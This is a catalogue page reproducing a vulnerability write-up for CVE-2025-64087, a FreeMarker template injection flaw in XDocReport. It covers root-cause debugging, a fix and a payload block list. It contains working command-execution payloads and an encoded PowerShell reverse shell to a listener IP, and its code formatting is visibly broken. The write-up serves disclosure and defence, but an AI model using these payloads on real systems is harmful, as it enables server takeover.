Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Инструменты/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Репозиторий
116 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) в XDocReport, приводящая к удаленному выполнению кода через Apache FreeMarker

Bug Definition

Обзор уязвимости

  • Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, позволяющая злоумышленникам внедрять вредоносный код в шаблоны, используемые системами управления контентом (CMS) и веб-фреймворками, с целью удаленных атак, кражи конфиденциальной информации или выполнения несанкционированных действий в системе.

  • SSTI является разновидностью уязвимости внедрения (как SQL Injection, XSS и т.д.), при которой злоумышленники используют системы шаблонов для удаленного развертывания вредоносного кода. При успешной атаке SSTI злоумышленник может выполнить собственный код на стороне сервера, что позволяет проводить удаленные атаки, такие как сбор конфиденциальной информации, выполнение несанкционированных операций в системе и доступ к неавторизованным ресурсам.

  • Уязвимость SSTI часто возникает из-за использования небезопасных систем шаблонов или отсутствия проверки и обработки входных параметров перед их вставкой в шаблоны. В случае успешной атаки SSTI последствия могут быть серьезными и привести к значительному ущербу для атакованной организации.

Влияние на бизнес

  • Уязвимость SSTI может привести к множеству серьезных последствий, в том числе:

  • Выполнение вредоносного кода: злоумышленник может использовать эту уязвимость для выполнения вредоносного кода на сервере, что позволяет похитить данные, совершить незаконные действия в системе или даже полностью захватить контроль над сервером.

  • Раскрытие конфиденциальной информации: SSTI может позволить злоумышленнику читать, изменять или удалять файлы на сервере. Если эти файлы содержат конфиденциальную информацию, такую как учетные записи и пароли, злоумышленник может легко получить к ней доступ.

Скачать инструмент
  • Угрозы или фишинг пользователей: злоумышленник может использовать SSTI для проведения угроз или фишинговых атак, изменяя содержимое веб-страницы или добавляя поддельные кастомные кнопки. Если пользователь нажмет на эти кнопки, злоумышленник может похитить его данные или установить вредоносное ПО на его компьютер.

  • Severity: CRITICAL

    image

    Description and Impact

    A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).

    Веб-приложение для управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует шаблонизатор FreeMarker (в файле FreemarkerTemplateEngine.java) для рендеринга содержимого ${"freemarker.template.utility.Execute"?new()("whoami")} без механизма контроля или фильтрации входных данных. Эта уязвимость позволяет злоумышленнику вставлять вредоносные выражения в файл .docx (шаблон), что приводит к удаленному выполнению кода (RCE) на сервере и может быть использовано для кражи информации или захвата управления системой.

    Affected component

    fr.opensagres.xdocreport.template.freemarker — XDocReport (версии 1.0.0 – 2.1.0).

    Root cause analysis

    • В файле https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java не выполняется проверка содержимого входного файла xdoc. Содержимое шаблона загружается напрямую и передается в process(context, writer, template) для обработки движком FreeMarker без изолированной среды (sandboxing) или ограничений на директивы/выражения. В результате злоумышленник может предоставить шаблон, содержащий вредоносные выражения/команды FreeMarker, что приводит к удаленному выполнению кода (RCE).

    image

    Step to reproduce

    1. Пользователь загружает файл .docx, содержимое которого представляет собой следующий payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. Видим, что выполнение прошло успешно и открылось приложение calc
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. Аналогично, чтобы получить информацию о пользователе, работающем в системе, с помощью payload:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. Можно увидеть, что файл .docx после обработки шаблонизатором вернул данные системы.

    image

    1. Аналогично со следующим payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Повышение воздействия до RCE
    
    - Слушающая машина — wsl с IP-адресом `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - Эксплуатация с помощью следующей полезной нагрузки:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Передача файла .docx в xdocreport для обработки

    image

    • Замечено, что получена оболочка на машине wsl

    image

    Решение

    Блокировка выполнения reflection (самый безопасный, но пока с ошибкой сборки)

    • В файле xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java добавляем следующее содержимое

    image

    image

    Моё исправление по-прежнему позволяет обычный рендеринг объектов и свойств, например ${cuong.name}, и блокирует только опасные встроенные функции.

    • Все SSTI-пейлоады блокируются:
      • ${'freemarker.template.utility.Execute'?new()('calc')} — ЗАБЛОКИРОВАНО через ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} — ЗАБЛОКИРОВАНО через setAPIBuiltinEnabled(false)
      • Все остальные пейлоады, использующие ?new() и ?api, заблокированы

    Валидация входных данных

    1. Основной файл — FreemarkerTemplateEngine.java

    Путь: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Изменения:

    • ✅ Добавлен импорт: java.util.regex.Pattern
      image

    • ✅ Добавлен метод validateTemplateSecurity(Reader reader) — Проверяет опасные шаблоны
      image

    • ✅ Обновлён processNoCache() — Добавлена проверка перед созданием шаблона
      image

    • ✅ Обновлён process(String templateName, …) — Добавлена проверка в этот метод
      image

    2. Тестовый файл — FreemarkerTemplateEngineSecurityTestCase.java

    Путь: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Изменения:

    • ✅ Создан новый тестовый сценарий — Проверяет типовые SSTI-пейлоады
    • ✅ Основной проверяемый пейлоад: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Дополнительные проверяемые шаблоны: ?new, java.lang.Runtime, java.lang.ProcessBuilder и т.д.
    • ✅ Тест безопасного шаблона — Проверяет, что обычные шаблоны продолжают работать корректно

    Сводка изменений

    ФайлТип измененияНазначение
    FreemarkerTemplateEngine.javaИзменёнДобавлена защита от SSTI
    FreemarkerTemplateEngineSecurityTestCase.javaНовый файлТестирует логику проверки

    Окончательное исправление

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    В версии 2.2.0 включён механизм защиты, успешно предотвращающий SSTI

    image

    Ссылки

    • https://portswigger.net/web-security/server-side-template-injection

    Настройка среды отладки

    image

    • в файле Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Необходимая библиотека для import```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A Точки входа (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → source главным образом является этот файл DOCX — если файл загружается/записывается пользователем, содержимое шаблона внутри (синтаксис FreeMarker) является ненадёжными данными.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → прочитать содержимое файла для передачи XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) будет разбирать (парсить) файл DOCX, находить entry/template в DOCX и создавать IXDocReport (внутри он будет инициализировать объект Template FreeMarker или удерживать reader для template).
    
    - Содержимое template в файле DOCX теперь находится в объекте report (ещё не выполнен).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() перебирает каждую entry (каждый файл) внутри ZIP (.docx).
    
    archive = new XDocArchive(...) — если архива ещё нет, то инициализируется объект для организации/регистрации entry документа.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Итог: этот фрагмент распаковывает содержимое DOCX во внутреннюю структуру (XDocArchive), чтобы последующая часть могла получить доступ к дочерним файлам (document.xml,...)```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    BướcHành độngMục đích
    1Đọc file DOCXLấy cấu trúc báo cáo gốc
    2Tạo IXDocReportĐại diện cho template
    3Gán IDQuản lý duy nhất
    4Chọn template engineĐể xử lý biểu thức (Freemarker/Velocity)
    5Cache nếu cầnTối ưu hiệu suất
    6Trả về reportDùng để render file kết quả

    image

    Tóm lại không có cơ chế kiểm tra SSTI tại IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); mà chỉ load các file xml trong docx và trả về IXDocReport report đã sẵn sàng để xử lý (ví dụ render, merge dữ liệu…).

    image

    tại report.process(context, out);

    image

    • Đây là điểm kích hoạt (sink thực thi): XDocReport sẽ gọi engine tương ứng (ở đây là FreeMarker) để merge template với context và render kết quả ra out.
    • Phương thức này lấy template tài liệu (ví dụ .docx hoặc .odt) đã được nạp trước đó, rồi nhúng dữ liệu từ đối tượng context (thường là IContext) vào các biến trong template.
    • Sau đó nó render ra tài liệu hoàn chỉnh (với dữ liệu thực) và ghi kết quả ra stream out, tức là ra file results.docx.

    đi sâu vào bên trong hàm này có gọi đến preprocess(...) phân tích XML đọc từng entry XML, sau đó Parse nội dung XML và tạo BufferedDocument rồi ghi ra Writer (đây là bản XML đã được xử lý sơ bộ).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    затем он переходит в `processNoCache()` и вызывает `getReader()`
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Функция `getReader()` используется для добавления обёртки escape directive вокруг всего шаблона, чтобы гарантировать безопасную обработку содержимого (экранирование HTML, предотвращение инъекций).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Исходный шаблон:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    После обработки getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    это помогает Freemarker engine читать более безопасно:
    
    - Защита XML: экранирование специальных символов в XML
    - Безопасная обработка: предотвращение ошибок при парсинге шаблонов Freemarker
    
    затем вызывается `FMParser` для разбора синтаксиса Freemarker
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    наконец, в `process()` вызывается `environment.process();` и reader данных```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Это самый важный шаг — здесь происходит фактический рендеринг.

    • getTemplate() возвращает разобранный шаблон (AST).

    • getRootTreeNode() — корневой узел синтаксического дерева, созданного FMParser при разборе.

    • visit() — это основное API FreeMarker, используемое для обхода и рендеринга каждого элемента шаблона, и определяется в freemarker.core.Environment

      • Встречается TextBlock → записывает текст в out.

      • Встречается Interpolation (например, ${user.name}) → ищет в dataModel, получает значение, записывает в out.

      • Встречается #if, #list, #include, macro → обрабатывает соответствующую логику.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    оно срабатывает на entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    далее переходит в функцию `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    изображение```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    поток выполнения в функции `visit()` следующий```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Сводка отладки```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Краткий обзор ключевых эксплуатируемых моментов**
    
    | Этап                    | Класс                 | Роль                  | Отношение к SSTI            |
    | ----------------------- | --------------------- | --------------------- | --------------------------- |
    | `loadReport()`          | `XDocReportRegistry`  | Загрузка шаблона      | Неконтролируемый ввод       |
    | `getReader()`           | `TemplateEngine`      | Чтение данных шаблона | Может содержать пейлоад     |
    | `FMParser`              | `freemarker.core`     | Разбор содержимого    | Переменная `${}` анализируется |
    | `Environment.process()` | `freemarker.core`     | Рендеринг шаблона     | Вызов `visit()` для каждого узла |
    | `visit()` / `eval()`    | `freemarker.core`     | Выполнение выражения  | **Точка SSTI / RCE**        |
    
    ---
    
    ## Документация
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link